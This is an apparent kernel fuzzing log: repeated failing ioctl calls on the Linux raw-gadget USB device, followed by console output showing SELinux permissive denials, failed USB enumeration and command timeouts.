[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[host] Command execution timed out after 2m30s
TestError:]
|
| 143/3 |
2026/09/11 22:38 |
action |
truncate-log |
0m
Results: map[TruncatedConsoleOutput:[ 61.482052][ T33] kauditd_printk_skb: 10 callbacks suppressed
[ 61.482121][ T33] audit: type=1400 audit(1789165898.269:201): avc: denied { transition } for pid=5828 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.483760][ T33] audit: type=1400 audit(1789165898.269:202): avc: denied { noatsecure } for pid=5828 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.483780][ T33] audit: type=1400 audit(1789165898.269:203): avc: denied { rlimitinh } for pid=5828 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.483794][ T33] audit: type=1400 audit(1789165898.269:204): avc: denied { siginh } for pid=5828 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 64.443882][ T33] audit: type=1400 audit(1789165901.229:205): avc: denied { write } for pid=5834 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 64.482433][ T33] audit: type=1400 audit(1789165901.269:206): avc: denied { write } for pid=5838 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
Warning: Permanently added '[localhost]:21062' (ED25519) to the list of known hosts.
[ 64.907765][ T33] audit: type=1400 audit(1789165901.699:207): avc: denied { read write } for pid=5847 comm="syz-executor376" name="raw-gadget" dev="devtmpfs" ino=824 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
[+] Gadget initialized and running.
[ 64.908128][ T33] audit: type=1400 audit(1789165901.699:208): avc: denied { open } for pid=5847 comm="syz-executor376" path="/dev/raw-gadget" dev="devtmpfs" ino=824 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
[ 64.908388][ T33] audit: type=1400 audit(1789165901.699:209): avc: denied { ioctl } for pid=5847 comm="syz-executor376" path="/dev/raw-gadget" dev="devtmpfs" ino=824 ioctlcmd=0x5500 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
[ 65.155911][ T5707] usb 1-1: new high-speed USB device number 2 using dummy_hcd
[ 65.281669][ T33] audit: type=1400 audit(1789165902.069:210): avc: denied { write } for pid=5852 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 66.457943][ T1382] ieee802154 phy0 wpan0: encryption failed: -22
[ 66.458006][ T1382] ieee802154 phy1 wpan1: encryption failed: -22
[ 67.004751][ T33] kauditd_printk_skb: 9 callbacks suppressed
[ 67.004817][ T33] audit: type=1400 audit(1789165903.789:220): avc: denied { write } for pid=5882 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 67.050346][ T33] audit: type=1400 audit(1789165903.839:221): avc: denied { write } for pid=5885 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 67.124625][ T33] audit: type=1400 audit(1789165903.909:222): avc: denied { write } for pid=5888 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 67.171582][ T33] audit: type=1400 audit(1789165903.959:223): avc: denied { write } for pid=5891 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 70.345385][ T5707] usb 1-1: device descriptor read/64, error -110
[ 70.585376][ T5707] usb 1-1: new high-speed USB device number 3 using dummy_hcd
[ 70.715378][ T5707] usb 1-1: device descriptor read/64, error -32
[ 70.825521][ T5707] usb usb1-port1: attempt power cycle
[ 71.105444][ T5707] raw-gadget.0 gadget.0: failed to queue resume event
[ 71.165367][ T5707] usb 1-1: new high-speed USB device number 4 using dummy_hcd
[ 71.185572][ C0] raw-gadget.0 gadget.0: ignoring, device is not running
[ 71.185712][ T5707] usb 1-1: device descriptor read/8, error -32
[ 71.295453][ T5707] raw-gadget.0 gadget.0: failed to queue suspend event
[ 71.295699][ T5707] raw-gadget.0 gadget.0: failed to queue reset event
[ 71.365464][ T5707] raw-gadget.0 gadget.0: failed to queue resume event
[ 71.425364][ T5707] usb 1-1: new high-speed USB device number 5 using dummy_hcd
[ 71.445552][ C0] raw-gadget.0 gadget.0: ignoring, device is not running
[ 71.445794][ T5707] usb 1-1: device descriptor read/8, error -32
[ 71.555409][ T5707] raw-gadget.0 gadget.0: failed to queue suspend event
[ 71.555723][ T5707] usb usb1-port1: unable to enumerate USB device
[ 76.701090][ T51] cfg80211: failed to load regulatory.db
[ 127.897672][ T1382] ieee802154 phy0 wpan0: encryption failed: -22
[ 127.899989][ T1382] ieee802154 phy1 wpan1: encryption failed: -22
[ 189.336856][ T1382] ieee802154 phy0 wpan0: encryption failed: -22
[ 189.339131][ T1382] ieee802154 phy1 wpan1: encryption failed: -22
[host] Command execution timed out after 2m30s
TruncatedCrashReport: TruncatedStraceOutput:[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
